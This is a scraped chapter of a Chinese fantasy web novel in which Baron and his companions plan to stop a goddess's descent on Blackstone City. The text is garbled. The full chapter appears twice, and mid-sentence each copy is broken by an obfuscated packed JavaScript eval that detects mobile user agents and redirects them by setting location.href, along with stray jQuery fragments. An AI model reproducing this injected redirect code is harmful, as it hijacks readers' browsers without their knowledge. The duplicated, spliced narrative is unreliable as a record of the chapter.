咕咕魔王 作品
55. 反式术阵
“诶，约书亚，你咋突然这么安静呢？”多丽托腮画圈，顺便戳了下某只状态奇怪的黑狼。
无名神术纹路镌刻于门板之上，将内外声音完全阻隔，故而此刻他们只能无聊地候在走廊。
约书亚警觉竖起耳朵，反复确认来自嫉妒烙印的位置信息，逐渐露出做贼心虚的表情。
“多丽，如果老师发现我们偷偷来到黑石城的话，你觉得他会发脾气吗？”
听到这话后羊亚人诧异反问：“你到这个时候才开始考虑后果？”
“不成功便成仁——高回报往往意味着高风险，我以为在你同意计划的那一刻就已经做好觉悟了。”
“确实如此没错，可我还是有些担心……”约书亚抓了抓头发，蓦然想起他首次给巴伦刻下烙印时对方可怖的眼神，难以遏制地生出焦虑。
何况前几天夜里狼还做了更过分的事情。
狼不想被冷处理。
“狼大，狼二，狼三，你们出来！”他伸手揪住三小只命运的后脖颈，跟提娃娃似的把它们抓离阴影夹层。
“大哥，这次也要鸡腿！”狼二眼珠滴溜溜地转，显然早已熟悉流程。
不就是吸引火力嘛，哪怕是牺牲色相取悦坏狐狸，为了鸡腿它们也甘之如饴！
“嗷呜~好多好多！”狼大狼□□应过来，纷纷加入待遇谈判战场。一番唇枪舌剑激烈交锋后，最终代价定格在“九”这个数字。
毕竟三小只近些时日又长大了些，胃口自然随之暴增。虽然它们其实根本不需要从现实世界进食，但味蕾可不会因吞影子得到满足。
“那咱们就说好，待会可不准给我添乱子。”抱臂挺直脊梁的约书亚无言辐射威势。
“我们办事，大哥放心~”狼大抬起前爪拍胸保证，神色自信。
“你们先等等。”听至中途，多丽感到非常迷茫，眼底充满疑惑：“刚刚的话什么意思？巴伦大人要来了？”
“不是‘要’。”约书亚摇头纠正：“而是‘已经’。”
话音刚落，大门轰然敞开。巴伦领着米切尔微笑跨过门槛，用难以言喻的奇怪视线扫过两人。
福至心灵的羊亚人激动无比地抢先恭维道：“大人，我就知道您一定能够从昏迷中复苏！”
“哦？你似乎对我很有信心啊。”狐狸主教生起兴味。
“当然，您在多丽心目里始终是象征‘逢凶化吉’的希望化身，没有事物能够阻挡您的脚步！”
惨烈对比下，干巴巴不善言辞的约书亚顿时相形见绌。因此他只是抿着嘴弯腰抱起三小只，耳朵委屈地耷拉下来。
“老师~”
问就是跟狼大它们学的。
“唉，你们两个。”一通操作下来巴伦也没多少脾气了，只得扶额叹息：“这笔账以后再跟你们算，先谈正事吧。”
“米切尔，麻烦展示下你的作品。”
刷拉——米切尔将尚未装框的画卷拉开，简单做出概括：“正如你们所见，黑石城面临着一场史无前例的巨大灾难。”
“事态比之前推测的更为严峻，我没想到老师她居然会变得如此……丧心病狂。”
“抱歉，虽然好像不该说这种话，但这件事应该和你们没关系才对。”
短时间内米切尔思考了许多，也清楚所谓的机会究竟何等渺茫，“与神明，与圣天母对抗，哪怕仅仅是祂的化身，也实在太危险了。”
“我是黑石城的未来城主，我可以接受自己与整座城池共同奔赴毁灭的结局，可你们却不一样……”
然而回应他的只有巴伦愈发用力的指尖，狠狠掐住米切尔的脸颊，“果然，你还是被奥菲利亚影响了吗？”
“所以她说了什么？”
“说你只会酿就灾祸，还是对命运的窥探只会导致不幸？我不清楚你们具体交流的内容，但无非也就这些。”
米切尔顾不得疼痛，惊讶地和巴伦对视：“你，怎么猜到的？”
“不用猜，心事已经全写脸上了。”巴伦微微摇头，耐心宽慰：“所谓覆巢之下无完卵，放任黑石城毁灭对我没有任何好处。”
“我好不容易解决了麦镇发展的两个大问题，终于能够放心过上平稳日子，难道就要因所谓的命运而放弃？我明确说明，不可能。”
倘若他本人是如此容易退缩的性格，当初就不会选择来到小说世界。
“米切尔，我可以向你发誓。”
“我们绝不会失败。”
因为造物主不许！
“巴伦……”米切尔忽然感觉体内涌入无限的力量，为那几近熄灭的篝火增添燃料。
“大人说得对，小少爷就别瞎操心了，我们还没离职呢~”多丽笑着掏出反光的侍女胸针表示支持。
苦难从不会让她退却，面上那道伤疤可以作证。
至于约书亚，临阵脱逃永远不会成为他的备选项，只要巴伦在他身旁。
“老师去哪我去哪！”狼悄悄挺起胸脯，金黄里孕育着追随的决心。
“谢谢，谢谢你们。”米切尔闭上眼睛，再度睁开时已是恢复曾经的无所畏惧。
为了正义，为了拯救，为了成为英雄。
见状巴伦适时承接话题：“想必嘉文城主已经等不及了，咱们先去把结果告诉他吧。”
“父亲他也知道吗？”想起不久前奥菲利亚口口声声的“交易”，米切尔心情格外复杂，一时竟不知该如何去面对。
现在重新想来，很多地方其实都留有痕迹，是他自始至终没有注意罢了。
“呼——还不是犹豫的时候，所有的事情我都会向父亲问清楚，不过是在一切结束之后。”他拒绝选择逃避。
忆起那条自以为隐蔽的“秘密长廊”，米切尔举手提议：“我知道有条密道，可以直通我父亲的办公间。”
“更方便也更节省时间，就让我们从那里走吧。”
回到画室内部，机关轰隆隆转动，未知弥漫的道路现于眼前。
不过这次，他们所有人都能清楚看到无数画框之内灰白惨淡的肖像画。其中唯有一张图画呈现特殊的彩色，几乎完美复刻了米切尔身躯的所有细节。
他很肯定，那就是“他”。
将彩绘画从框内取出后，米切尔默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203123|161512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默把画折叠成便于携带的模样，小心塞入口袋内。
“几位，我们走吧。”他扭头招了招手，攥紧方才挂在墙壁上的提灯，迈步领路进入黑暗。
嘉文的办公间内，这位素来以铁血手段闻名王国的城主莫名其妙有些头疼。
或许是被无力感逼的。
他扭头望向淡定喝茶的白发老者，故意甩了甩手里的新情报：“波普曼主教，你也太冷静了吧。”
“圣天母现世神降这种事，哪怕你也没有遇到过多少次吧？”
“准确来说。”波普曼细细纠正：“自我入职教会成为教士的那天起，从来没有过。”
“对于吾主即将降临这件事，我身为黑石城辖区圣天母教会主教，应当喜悦且庆幸才是……”他虔诚拱手做祷，内心非常期待。
不过他的好心情很快就被不期而至的喧嚣打破了。
那张描绘着恐怖灾祸的画作让波普曼哑口无言，甚至怀疑是不是米切尔的能力出了问题。
“荒谬！吾等奉宽仁慈悲为宗旨，吾主又怎会对无辜的信众和城民下手？”
“然而事实的确如此，波普曼主教。我们没有否认母神在人世间的丰功伟绩，但也请您认真看看，主的状态正常且合理吗？”
巴伦没有忘记自己的教士马甲，熟练采取先肯定后质疑的手段，不着痕迹地抚平波普曼因爆炸性新闻而掀起的心灵骇浪。
“综合所有已知信息，我有充分理由怀疑，其始作俑者就是、也只能是奥菲利亚冕下。”
经过巴伦提醒，波普曼皱着眉头，重新开始观察细节。
“唉。”他叹了口气，无法理解：“奥菲利亚她，怎会走到如今的地步呢？”
“自我认识她的第一日起，她便是那么的优秀且难以企及，远远将我们这批同期教士甩在身后，就连教皇冕下也曾为她的天资感慨不已。”
可今日名为“往昔”的滤镜彻底破碎。
波普曼不免怀疑，自己有真正认识过奥菲利亚吗？就像他对奥菲利亚消失前发生的事情一无所知般，如今他也无法去推测对方的下一步举动。
“所以，主教大人。”
“神降术阵可有破解之法？”这才是当务之急。
可惜波普曼只是遗憾摇头：“理论上任何术阵都存在反式，这既是自术阵诞生之时便确立的规矩，也是无法否认的钢规铁律。”
“您的意思是，神降的反式被人为抹去了？”巴伦大胆阴谋论。
“并非如此。”这位智慧的长者解释道：“准确说法应该是——它从未诞生。”
“小友可曾想过，能够知晓神降术阵、且发动神降之人，又有什么理由去阻碍主的降临呢？”
这话的确没错，至少在奥菲利亚之前，神明的到来只会是一件鼓舞人心的好事。
“不过我这里倒有个折中办法。”波普曼犹豫着掏出另一份术阵图纸，灵魂为此忏悔。
“我们清楚，神明能够实现神降完全依托于信仰的接引，那么假如我们能够抑制这条传导通路……”
他没有把话说完，但大家都明白他的隐喻。
无名神术纹路镌刻于门板之上，将内外声音完全阻隔，故而此刻他们只能无聊地候在走廊。
约书亚警觉竖起耳朵，反复确认来自嫉妒烙印的位置信息，逐渐露出做贼心虚的表情。
“多丽，如果老师发现我们偷偷来到黑石城的话，你觉得他会发脾气吗？”
听到这话后羊亚人诧异反问：“你到这个时候才开始考虑后果？”
“不成功便成仁——高回报往往意味着高风险，我以为在你同意计划的那一刻就已经做好觉悟了。”
“确实如此没错，可我还是有些担心……”约书亚抓了抓头发，蓦然想起他首次给巴伦刻下烙印时对方可怖的眼神，难以遏制地生出焦虑。
何况前几天夜里狼还做了更过分的事情。
狼不想被冷处理。
“狼大，狼二，狼三，你们出来！”他伸手揪住三小只命运的后脖颈，跟提娃娃似的把它们抓离阴影夹层。
“大哥，这次也要鸡腿！”狼二眼珠滴溜溜地转，显然早已熟悉流程。
不就是吸引火力嘛，哪怕是牺牲色相取悦坏狐狸，为了鸡腿它们也甘之如饴！
“嗷呜~好多好多！”狼大狼□□应过来，纷纷加入待遇谈判战场。一番唇枪舌剑激烈交锋后，最终代价定格在“九”这个数字。
毕竟三小只近些时日又长大了些，胃口自然随之暴增。虽然它们其实根本不需要从现实世界进食，但味蕾可不会因吞影子得到满足。
“那咱们就说好，待会可不准给我添乱子。”抱臂挺直脊梁的约书亚无言辐射威势。
“我们办事，大哥放心~”狼大抬起前爪拍胸保证，神色自信。
“你们先等等。”听至中途，多丽感到非常迷茫，眼底充满疑惑：“刚刚的话什么意思？巴伦大人要来了？”
“不是‘要’。”约书亚摇头纠正：“而是‘已经’。”
话音刚落，大门轰然敞开。巴伦领着米切尔微笑跨过门槛，用难以言喻的奇怪视线扫过两人。
福至心灵的羊亚人激动无比地抢先恭维道：“大人，我就知道您一定能够从昏迷中复苏！”
“哦？你似乎对我很有信心啊。”狐狸主教生起兴味。
“当然，您在多丽心目里始终是象征‘逢凶化吉’的希望化身，没有事物能够阻挡您的脚步！”
惨烈对比下，干巴巴不善言辞的约书亚顿时相形见绌。因此他只是抿着嘴弯腰抱起三小只，耳朵委屈地耷拉下来。
“老师~”
问就是跟狼大它们学的。
“唉，你们两个。”一通操作下来巴伦也没多少脾气了，只得扶额叹息：“这笔账以后再跟你们算，先谈正事吧。”
“米切尔，麻烦展示下你的作品。”
刷拉——米切尔将尚未装框的画卷拉开，简单做出概括：“正如你们所见，黑石城面临着一场史无前例的巨大灾难。”
“事态比之前推测的更为严峻，我没想到老师她居然会变得如此……丧心病狂。”
“抱歉，虽然好像不该说这种话，但这件事应该和你们没关系才对。”
短时间内米切尔思考了许多，也清楚所谓的机会究竟何等渺茫，“与神明，与圣天母对抗，哪怕仅仅是祂的化身，也实在太危险了。”
“我是黑石城的未来城主，我可以接受自己与整座城池共同奔赴毁灭的结局，可你们却不一样……”
然而回应他的只有巴伦愈发用力的指尖，狠狠掐住米切尔的脸颊，“果然，你还是被奥菲利亚影响了吗？”
“所以她说了什么？”
“说你只会酿就灾祸，还是对命运的窥探只会导致不幸？我不清楚你们具体交流的内容，但无非也就这些。”
米切尔顾不得疼痛，惊讶地和巴伦对视：“你，怎么猜到的？”
“不用猜，心事已经全写脸上了。”巴伦微微摇头，耐心宽慰：“所谓覆巢之下无完卵，放任黑石城毁灭对我没有任何好处。”
“我好不容易解决了麦镇发展的两个大问题，终于能够放心过上平稳日子，难道就要因所谓的命运而放弃？我明确说明，不可能。”
倘若他本人是如此容易退缩的性格，当初就不会选择来到小说世界。
“米切尔，我可以向你发誓。”
“我们绝不会失败。”
因为造物主不许！
“巴伦……”米切尔忽然感觉体内涌入无限的力量，为那几近熄灭的篝火增添燃料。
“大人说得对，小少爷就别瞎操心了，我们还没离职呢~”多丽笑着掏出反光的侍女胸针表示支持。
苦难从不会让她退却，面上那道伤疤可以作证。
至于约书亚，临阵脱逃永远不会成为他的备选项，只要巴伦在他身旁。
“老师去哪我去哪！”狼悄悄挺起胸脯，金黄里孕育着追随的决心。
“谢谢，谢谢你们。”米切尔闭上眼睛，再度睁开时已是恢复曾经的无所畏惧。
为了正义，为了拯救，为了成为英雄。
见状巴伦适时承接话题：“想必嘉文城主已经等不及了，咱们先去把结果告诉他吧。”
“父亲他也知道吗？”想起不久前奥菲利亚口口声声的“交易”，米切尔心情格外复杂，一时竟不知该如何去面对。
现在重新想来，很多地方其实都留有痕迹，是他自始至终没有注意罢了。
“呼——还不是犹豫的时候，所有的事情我都会向父亲问清楚，不过是在一切结束之后。”他拒绝选择逃避。
忆起那条自以为隐蔽的“秘密长廊”，米切尔举手提议：“我知道有条密道，可以直通我父亲的办公间。”
“更方便也更节省时间，就让我们从那里走吧。”
回到画室内部，机关轰隆隆转动，未知弥漫的道路现于眼前。
不过这次，他们所有人都能清楚看到无数画框之内灰白惨淡的肖像画。其中唯有一张图画呈现特殊的彩色，几乎完美复刻了米切尔身躯的所有细节。
他很肯定，那就是“他”。
将彩绘画从框内取出后，米切尔默
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203123|161512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默把画折叠成便于携带的模样，小心塞入口袋内。
“几位，我们走吧。”他扭头招了招手，攥紧方才挂在墙壁上的提灯，迈步领路进入黑暗。
嘉文的办公间内，这位素来以铁血手段闻名王国的城主莫名其妙有些头疼。
或许是被无力感逼的。
他扭头望向淡定喝茶的白发老者，故意甩了甩手里的新情报：“波普曼主教，你也太冷静了吧。”
“圣天母现世神降这种事，哪怕你也没有遇到过多少次吧？”
“准确来说。”波普曼细细纠正：“自我入职教会成为教士的那天起，从来没有过。”
“对于吾主即将降临这件事，我身为黑石城辖区圣天母教会主教，应当喜悦且庆幸才是……”他虔诚拱手做祷，内心非常期待。
不过他的好心情很快就被不期而至的喧嚣打破了。
那张描绘着恐怖灾祸的画作让波普曼哑口无言，甚至怀疑是不是米切尔的能力出了问题。
“荒谬！吾等奉宽仁慈悲为宗旨，吾主又怎会对无辜的信众和城民下手？”
“然而事实的确如此，波普曼主教。我们没有否认母神在人世间的丰功伟绩，但也请您认真看看，主的状态正常且合理吗？”
巴伦没有忘记自己的教士马甲，熟练采取先肯定后质疑的手段，不着痕迹地抚平波普曼因爆炸性新闻而掀起的心灵骇浪。
“综合所有已知信息，我有充分理由怀疑，其始作俑者就是、也只能是奥菲利亚冕下。”
经过巴伦提醒，波普曼皱着眉头，重新开始观察细节。
“唉。”他叹了口气，无法理解：“奥菲利亚她，怎会走到如今的地步呢？”
“自我认识她的第一日起，她便是那么的优秀且难以企及，远远将我们这批同期教士甩在身后，就连教皇冕下也曾为她的天资感慨不已。”
可今日名为“往昔”的滤镜彻底破碎。
波普曼不免怀疑，自己有真正认识过奥菲利亚吗？就像他对奥菲利亚消失前发生的事情一无所知般，如今他也无法去推测对方的下一步举动。
“所以，主教大人。”
“神降术阵可有破解之法？”这才是当务之急。
可惜波普曼只是遗憾摇头：“理论上任何术阵都存在反式，这既是自术阵诞生之时便确立的规矩，也是无法否认的钢规铁律。”
“您的意思是，神降的反式被人为抹去了？”巴伦大胆阴谋论。
“并非如此。”这位智慧的长者解释道：“准确说法应该是——它从未诞生。”
“小友可曾想过，能够知晓神降术阵、且发动神降之人，又有什么理由去阻碍主的降临呢？”
这话的确没错，至少在奥菲利亚之前，神明的到来只会是一件鼓舞人心的好事。
“不过我这里倒有个折中办法。”波普曼犹豫着掏出另一份术阵图纸，灵魂为此忏悔。
“我们清楚，神明能够实现神降完全依托于信仰的接引，那么假如我们能够抑制这条传导通路……”
他没有把话说完，但大家都明白他的隐喻。